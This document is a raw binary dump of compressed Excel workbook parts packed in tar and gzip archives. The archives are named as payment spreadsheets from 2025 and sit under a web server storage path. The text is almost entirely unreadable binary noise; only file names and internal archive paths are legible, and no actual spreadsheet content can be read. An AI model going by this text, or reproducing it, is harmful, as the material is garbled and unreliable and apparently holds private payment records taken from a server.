�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK�z�Z',�eY�xl/sharedStrings.xmlSV�RMKA��+���XP�쮇"�^?`�I��mg���<$Q�z�lk�Կ��?�]�P�������>��X�3�I�<�^ l�Y,Q�E5�y�n�㣃�.%R���6�mz�%�8����TH�6�
ˌ�j���,!����*�Fu&È�5��\�M�U*�0�%-᝶�^�
�oSǒ�c)b݃Tw-���o�d0'0�	$�)|@�J:�7dw��d�D�
F�:��Pw`���5����	��3]É�%|�1���>1WS\,]���2t��;6(y���!����y�S/υɮ �[]F �Gx!p���+�U��R�0�]��Y0c^��:��/���PK�z�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK�z�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK�z�Z�f�m�xl/worksheets/sheet1.xmlSV�VYo�8~�_!轒e�'l��&�	�l�LK#��$jI����!�r\�5������P���}�{[�r�GA��LXJ����u�i�{B�2%9+a�@���Mw���5��`"*���� �o�W�R����$E�����UP�%c� E�
�!�F*���‚��"L�9,�h7,�PJ�!'skZ�m����r��k>�ci�^A��d���R���8�����>�e*�s�*�T����,iN�Ac�^�L�W%�d��9b^$q�$��O��S�{�^Fs	�;K1J�z��9--bS ���l�l�♮�R)�4�0�iJ�U�z���%�|�+���N8kO���HH5�j�%co�x�*lz�f�����W�
�3�]����KbHW�o�Ra�f~�{���d�d��|��}�$�nቨ��dR�B'�/�D]��/(5u�P�Tio�2�'lIE����1�d(���eSPUw]�n�{�&��lr���{q�X��`��:�N[��S:��\�_�����aǑ����T���c�[��ULs�F`*?��=yP=Z����
�(����-������~|1��\L��7�x�	od�F�	G�0�pl�
`/�����T��b/���CF5d�@�����6#�H2�r��p�t��nL"��H��J����n�Q4
�
Ⱥ����7.!�71z�c�4@��c\����;�a\bm������.p�
|��G�\��P�	
�a����=h���߶}umq�v�ڎJt�ڎ*�w�m�7�v\��i%��l�Ǧ�u};�*NK�X�W��z�]�6h�y����&��(��q~`x�����5���3����z*	�"cLւ��@�
gP�����c��L?�f��#x�	Q�'��]Ψ|e�\���j(*�G��lW���|���i�,4/�Yc=���ʦ�aA���ZS�I�ߍ��&9]�Jg+d��LIS���qָ4э�^��+wWP�f�+d�Z��%i��Ԗ�̧R=ޞ��Kئ��ǩy��PK�z�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK�z�ZG�D�Z� [Content_Types].xmlPK�z�Z�78�K �_rels/.relsPK�z�Z�$�V�� �xl/_rels/workbook.xml.relsPK�z�Zad���E �docProps/app.xmlPK�z�Z���Dr �docProps/core.xmlPK�z�Zs�{Y�� 'xl/theme/theme1.xmlPK�z�Z',�eY� 
xl/sharedStrings.xmlPK�z�Z�A	�
 �xl/styles.xmlPK�z�Z�U���v �xl/workbook.xmlPK�z�Z�f�m� �xl/worksheets/sheet1.xmlPK�z�Z�KR"x�# Jxl/worksheets/_rels/sheet1.xml.relsPK�PK!I��p&&,5dkj3p/payments 2025-08-01 07-45-11.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-08-01 07-45-11.xlsx000075500000017114000000000000020146 0ustar00PK�=[G�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK�=[�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK�=[�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK�=[ad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK�=[>�+�rdocProps/core.xmlSV���N�0D�|E�+J�P�� NTBj\�����m�i��iS
�8E�?�\�wu�|�����F�$���J�g�iu�^��#גWFÌ��ɼ<+�ͅq���
|@�������z����QH�`�Wsҭ��b��@nj]��K��v��D�GJ1 퇫"@

Ԡ��l��c����������!��j6M3j&1�����aWM��@�B�\8�h\����4:��uA�y]�����)�7���H�_�ǀL�xy��y��ޭ�I9f�iʮS���U~1ͳ윱��n�ȑZ�o��@�]��
�j�+��
wJ��XGowA	^8e1<�2Z'?���� �7:�B�'};���Ƶ��C����PK�=[s�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK�=[�ҕ��xl/sharedStrings.xmlSV�V�n�@��+���Iڤ�q $��V�4�;�:-�H*�C+U���Ж;����&u^a�
<	�nJR{��BT�b{g�o��vfc�U�E6i�5�*iK�D�]s�M{�*�x�T.K���]�Z�M��kʤ5�Kj���p�NEQX�A�[r:���K�۶\|�+�ӥV�5(u�-EW��m5m����F�>vz�[��%�4X�4\>���E��5
���1���:V
� -��M*�$1�3�<��9�#�~�G��#�>���`.!�M�
���$�b����9H骾,�EY+����jY�]Pfr5��,"f@`c�.����dp�
v���u�@8A�|�$#�-�nm�o��C�zJr!�D���flE~NJ�R�N
�>��cIpŇ��C� �Zb�TA�Ԣ�h~	K�@h��̳@�����e
!h(����˫w�!� ��"~4{�)^}�K��}��W9�|K�>B9���S�X㼥�������<.�XЋv��t`�G(x�W��`J��}��.�gOR�c.e1f�	8c��}w!�#��C��|~/��F�&�F���sng\���*D��~yF̹�MS����#�8����W8��A~\E�-��#��$���J�cR<�3b�PK�=[�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK�=[�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK�=[n#�O-xl/worksheets/sheet1.xmlSV��]s�8��Wx|_@��:I%��t��Z�e�Զ�����~%�8�l�ivoZ[�Ϋ�G��s�[GD���&���'Y�[�~_�l���L`�K��_Pm\�1?a��#D-f0�+3�"�F�l^X�{Oi5��x�
X�p�J�����W��,&©���d����Ì���i��*icBP)�S�Ϫ����/!���GJq�(��z~E\㔎b\���{9O�~>o3B�1�T�o�W��C���U��S�g�Ex�V��v%&�)g��c���o��n2��\�}%V���/8a�V�4�JĔ�P��^�Q�O\;|�v{�����YΓ�
5��A�¾�{�*��_:�ҳE��#�QLQ"���}�'�X����>�,���a3��j
���
�7�cl�4YW�D��c�.l϶^^)�>��ޠ<_ط�m��fG����)Ņ�XU����B�H]d�T��̪�:�5N���j�N�@�ЊA���Ul�Q�����b���IP
9e06�o���gtD�7>r����e����*2�ոl�g�)K�~a;��l.>���9�f�C�:��}���l�z���g��o�������‰����0�Y�=�n����'����^	�Q�o8m
���7��wہI�������?X��%�,�p�ۆ�fv7	H�rN��b_��c��o3�����^�b��jVz\z�||�Fm�USŗ�]�1���p��p��#xj7MW��ki4U<!� p��d8o0�+O6wT�kYZnJ�&�<�U W��Un�xw��kE�T�"���Q�@�Q#�UDm$��&����fѵ24²�jC��[��u2��*���l���z��n���{_,0D0"0� d�՚_fr��p8C��!�q�9�&��5#���fV�����Mh6�5J�NB���
��Ll"Yt�-c��(�Z���'����G��l��l�&6��h[ۍ"j;�jjf35̛��T�ꛬ��6���x�c��Cpx�e:��ã��h�D�@j�>{Լ4FL��UuJ�
.`0#&�ģS�EG߆E�gJ^鐔`�01�8��1������p�@%Tߎ�#	�P�֕�qDq�qL@�>��c���� ҁ(������W"�LV�ރ⚠�چ�BQbzT�‡
\88�8q<��QB{��'�7�~�U�{K�pd�� ��ԃ�΅�.0uU�7uU�=|����7!1w�?��V
�1��qp��3doy�����[\�rV�{K�t��m��0��ap�8�㢯	M@dQ�}Bm�с��9c:�pp�o�����X������ֵ�*�g�/��d%}��%��{��La^#����/Axܡ/��2���)~YB�+A�Lq%��=���<���*c�b�1=�����CeU�B�1�%.�-L2TRq����;H�=����Bf��︻�l��{�ʍ�h7����GDx�M>k���di�k�!In���8t�:#5�E
?2�_�|!�lW�P[���$i���H��i�)>?#�|W]~��]����Ժ�M�tA�`9���+$��b|(�f��K��PK�=[�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK�=[G�D�Z� [Content_Types].xmlPK�=[�78�K �_rels/.relsPK�=[�$�V�� �xl/_rels/workbook.xml.relsPK�=[ad���E �docProps/app.xmlPK�=[>�+�r �docProps/core.xmlPK�=[s�{Y�� 'xl/theme/theme1.xmlPK�=[�ҕ�� 
xl/sharedStrings.xmlPK�=[�A	�
 �xl/styles.xmlPK�=[�U���v xl/workbook.xmlPK�=[n#�O- xl/worksheets/sheet1.xmlPK�=[�KR"x�# �xl/worksheets/_rels/sheet1.xml.relsPK�ePK!pR����45dkj3p/payments 2025-05-30 07-59-34.xlsx.xlsx.tar.gznu�[�����yeP\۶n�����h��&�6�k !����n�4@���\���r���^�zUo�UKjV�oU�o�1���+�����������=��;����c�����a�`k��l��vrw���	r����G\�"\���nހ�Հw�HP�/ǁ@^! ��?��aw�|wCB����y������ƿ�4M$db�"�a�/5D�"2�H��~Ǽ���3�͘���AG�L�����_�ֹ�3�R�{A=��Z�5,1z
�3�j|rʴT��9����ڑ���e��=�аkr.�>�{ι�U�v�pSf�S?l�fJ�s\Ys"L}�־^~��
奶��l�A�:nf� �g2�=czj�Z?O\ٜ�.'�!��-�N�&+�d��{O�1�Y��-�&�K-�d��:s�f{�**�B����јcL�����Y�o�{	gD�s=����ɦR��?�Ӯz3q+[��J:.`�L�r��r��Sk}��R�S��Sшͥ�.�&�C|��B�V������0��\��o�֘���O$-nOo��YM
J6�.���3��X���� kx$�}G�
"�uG��+������?h���b�a�Խ��z>���E�p�Ɯ\����V��2��\���y�C�I,l.�c
���n��R=���%��JS�R�jC���Z�iپ�ϝI��vђM�)]�aΐm|cˬ�x�_�5�=��4|L�A��*5�jӘ�����ܔ@������	D�]�$�f�B	�;L.��0�x8H�З�Sx���JĄ�ʎ�	�l��ms>��ͨ�jX�W=��n�n���0���滨P�E�ہ��xA\��!�?�� u�	_���n�i��֍��3#8RH]�����#�k��"5zZN_�\ڀ��(\8\Cu�:�]K���������5~����o02�M{�<�ؤq�g~�&��<rR��UP�o��QM��|�*}��j���q�;�F�{̩1}�t�՗m���&�"�[?�C��CGx(�D-Q�-��f�T�ݖ`n�9��F�xQ�+�2Wcl��m?.HG��&{C����с2
����t��df�Uz7�AH�]�,!��g�?���q����<�
N�x�.`�6��r��D�:I6|*����Z��7ra]7����k�n����n�fV��/��h���� �8��}J���2d��H�q��'��-
wI���J0ʐ���3+�@��r�O�-�
Ȫ%�X�N��l�ՠ�ƕ�H����S�L�2�
�W2�����2�$�
��TQ������b ��q�&�w�����I�B/���zY��z�p���C�1��9YD�
�}����:����3WbKg�D���j�}.�œQR��o
q+���#�g��	СO�����`OɊ��Mx^]�ǂe�\�'�)@��%j�;�[��;e�jX7�g�UGo^�M���rP��&wf|5��-�}޸cv���x#���W�, ��Wo��$�-_���� ��Y�(��l�;Vk~�R�.z��'J���.3��cۀֲ�u�Ly�!�.EDC�SWeғ��tf���6��B
�����T���Ǟ8�v� �?�M��w�/#�(m�	��s!�_�7�y���7��м>h���lTH�x*���0WS��1
n�{�9I҇^�3>���ghkl�#U����l�/u��
���>=���w�q�)�D�”����,�m���uZ�#<��*�X:��tTK�-`ϱ����H*5m!���*萚P��5�E�Z�?�q��eNVZRc�sx*Vd�`ZQ�~>�'J�mAPL'}U
��KkG���+�I���ӻ��
PYK�,�}�r�t�%��~O[Q�b�?�ɻ�nv���O{O5 �Bĝ:�-�P6� Q���^r1a��:9�
6-����=��@�����
$6��[4*{g�1�.-2"�l�dw���;�9GZ�{�#�Dž")T���H�!4;c��e�e΄��DS�Vr��B�M��t�̃��R5Y������S���4��-��+LYe��/��G��(�=�m����νU��B)T�����W8��2ӄ�"DA�8�ϙ��Ȣ}�2�p����EA�c?
J&��|z�ϫ'[>�s��d@��`���34AѴc�@�3�V�Y��YJ'u�?��~�~�����Q�p��!�I��re�u���ywc��ʲSE��(��j��u�Q��!�ב=�Ewҙ`c�4A��%J̍ 
�r�3S��$N���V�K�O{��˛�@�'��eO���О�
0I�<@�+*�u:��
[2lc���=ӊd`J�3�}������Q���K��ӭ���=T�=)�7��rr%s���R�ڦ�:�/��;_����\���tJ����\��"t<8TóUen�NH��
�n�˧�:#+"�T�c�`�U��k���Ζ�9Zh��ߕ"4�HV�7+>����RMv����Y���_#�r#�:KU�ӏ���y���03�����%����#�2HEB�d��M1���h1��l��/c|4�o<�m�/ �Z�m~j�B}�5q=a!�h�b&�9IZ�x*F�s���cQ�FC���b�fD��2�}S$q���`F�M�(K;�@��u��蹬�+��IZ�ނ�P�>���*�&��yf�K�uS���$���
+��i>��AGY���`?�� ّDq�(���O��>3őp�^a^s�o�<�hi�5,�o:�~�S���wnW�wYJF��Pv[�Ua���]�n�.?����AԒF9���<�+Td�&�9z��o��sW�pϭh~2�~�io�#f�� ^ 0��r��de��&-엶R!�5Y�d�ހu�s��2R|
L�u���o�������1���qJO��W۰µ-(�ۉBEer�fO9���,b�6��Q�8�R_+
���'�(��p��é
W|�;�DE�C�%M���i#,��K3f�T��3�p�EV��b�<=�[ͳ5P�41uAF�?�o+l�4� _�}P�q�����u�>1�
ӳ���+�lI�A�t_Ϙ}�����ђ�4ljc���*z4���&M�0�D�i:tjק�dAu��2�~aY�ʸ)�+Z��@�+� �"���I��i��gE
�c��I�Gb�a!8�w�?�6j
T?,br]�\�K�:��ysm�]��MEz�Ǘ����V͍'{�I�c:������NSq�.�#	��F��I��X�n��i�^Ĭ�t��
1����DQ�֍v��-M����Z�>��G�J��z����D���+Asf��
H�ǻ�@��{AB�G�w���]_D�g�w�1s[긻�:Y���1��>/E�xBR���z75T�.���|��P�ȁn~i0�n(.�Ib3��r��4i�A��`��`7J�X�˼���ɵ�CE��]9j�\�6D0q�Nω)���|8��lvO�h��Q��~�%:T�tx?A�^+���E��D�w��dL�2�c�����G��+���5Kt�)�d���]n�h��W�'4�ŧ�:������~�Zf����
ʷ����X*�%(�c#�n�~�b�hہ#K.�{�N.�<���t��,?ܑY位�Fy[��.L�Qq)['�D�}�c����޷���n�a���k9�_��K���d�:��5:���_�#�
��ȉۜa94��~�D���
04��qc$89PF^�줌���/Ҍ��.�"����I�|��c�iI���W���g��U�}�=��K��L�\`�╃�S��/�,M��s��~v}y�
z�M�ڍ�3r֢�ئ�Rw�O��M	�!W���
���$Ҹw��:����p�q�;+F�� �@�v����G��SN��vLg��
�ը�3�$��U^�;bc�W;��a����YG�ؼ�뙋��;�!��Sb�iZ���K�t}�{L�"�])zOD���۫��(�Q�|B��6�!��~^LF�Ez4�N�%��V���C6�H�c-
����WLh�+�]!]�P�%D)yZylPW*��F�yiCm�u ��QK;��d0���v��K�B�73%�⑔��	=Fĭ��٭�����uћ��t�k��1<:&����M�Z�y1ČTJfk2�ؿ��)'9jJ�f�k?8����%]�H����m%�X)�cbႎ:�|�dr׏��3x�|����+�Ϋ!� y�	��ψ�s����q�7:Y
u�>9���~�r�t�/�Э>v�^щ��&�������?$��<0�}Ux��|�9��޲�AHA՛E}���BV��`����M���O���	�Z2��eYn1McR���D��>��h�b�t<��Mf�6~��~�L����V�ϼ����#sb���>Ja��p���ߕ����f�-Z�5�KK�W���oU����f�<\z�g{z6h�=��t��OS�L)f���2���gt�uG�����跥V�?�<Iu����t��ߚ��D.�l�i���~F%i���r+�emC�= �ٌ:ɑ�1
M�E��Ꝿ�+�g?�I̒��#�"�^���b�Tj�iT�u�|���H��0���v��QJ<�{If�TK�����/�B<z��&��qB
M�g�!���M�`�'�[mi	�6<]kE��T�{��2��9�Q-2�����F�O��I�uGۘDY�p��󬊠��ew�9�5�2-�A���C��oT�����a8B�Z�s���H28���3	o�ʿ�c'���b"��s�_��	v,c ����m�̅���]#��|n�����{�z�"����{��K�7b1W��g䍏ᐋ�f���G�Z�}�ށ-	Ǚ��g���9�oV0��x�.~k/�
�J(\���3��vw����=F���k�0��ru�7����AC�[�oHW[�s�)�Y9bxҺ��N�֪ڃ�`&�����B��kM�1\~uA/$Ȋh��������+�����r�eQ*�a��
%��!@R\��O����ۈ�\RO�b��4ܧ���*m�Jz&�#Z?n�3L����i���$�T��	q���톾�	zl2E)��vK�4P��`�=��~�0�Jۣ�-��J��"��S���΅�#$��|X%QC��$�u���kS�qV�V�@���I�w�O���B�Q�	Ve�H�}�n����:P���B���|�]�L'�4;6eWw�,����i� �:�!�r��+���c��oL}3���x�~N14��5��ʺ҂�a��� v�2h���K��'ڒ�W���"|��)�i%Φ�^�l�P��#׬�5͉K��Uj2�B{�1ZQ��!R��5�un�"
;4sR�I���XEeu�)y��~[-xe�V'Kg{Sm��(B�n[3�㥢'���ic���J��.G+g�
�j�N��rKe&v˳q5]z(#�G��qi�o�Y�Z��q������DB���S�
��T�Fc�N#��B�(��ۀ~T�B�D �s����d���`�{���k�w�-�	5U�������Y��z��t=�$�F�a��P�l!�7�z�$��e�O��(�M�͂\�ǯP�!�;w���W����`�3��9!%C"���ǡ%pr��	���L��<GB���÷ڸ����K+uT�J��|�@�;���^4�r7
*s&�N	6�͢�U�~֊m.���f��5~D~��C�Yn�{��^�<�"?&w�$���H�֚=agA�8�%M9?���b4�u6<sv��R���@8�S�s����X+�#5dK�g�����1nDC�K_�(Ya�ŏJu)pL��6�ʝ#��6Yss��S%�%^��-��/�-���l�V�6Z�
	�v�Yg���Z�_�;<�hj6��X�߉oD�DG�
ɫ�K���0JY�B�c}Gu��R\����a6�Ѿ��yJ�B�,�
�9�`d	�i��A5�uб!���džm^��.]�e�z�<��	����|��3�I]���nG��W���
�JO�
l�����JA�����LR"Eh4����=��~�^̓*�(�%�`#��w
K�{��TZ�Rk��{�'#!?��R��,E���VW4�x�+ܨ�6��F1w7��pʹ�]�-�E��"2��L��RX#.�?xs��f���~l\,	i>��K�̤
Ωج�
�K=k�9�J
K@��X&�OR_����>�$�98˯o���'y�Z�R\umx��2�6#J��h[��4U�P��9ɿ����85�ྲ�+��;�_t���߿:ݍ�g)�w����8�w#��ſ{�W)�B�O��w���ٯ�h���~�ߏ�
@�����w����_�����߷���H�}���W�0"�\�G�?}~E�%��/'��

�.Xw��]R����o������%-A�$PK!%-A�$$,5dkj3p/payments 2025-05-30 07-59-34.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-05-30 07-59-34.xlsx000075500000016015000000000000020156 0ustar00PKq?�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PKq?�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PKq?�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PKq?�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PKq?�Z.��sdocProps/core.xmlSV��_O�0��K_�h��2f��'IL��km�P�ڦ�:���:"������_�=i~�����WFO�p�HZ��rJ���$���4��On��\�L��Xp��'�}&씬mF�+�����q� ݒZ.�|	t��%����iLmO$[�=�~�2��PB=�t�Ep�?y :�������������`]׃z�a�!}�=��US�۪�"�"8W,�Z�Z'����/���g���9�G��d�˺ev��a�H�MR6I�lή��M6�8g,c����Vۛ���Qb����Z���ņ;�_`���۠/���c��A���Oؙ����������U�R�~K���^q�PKq?�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
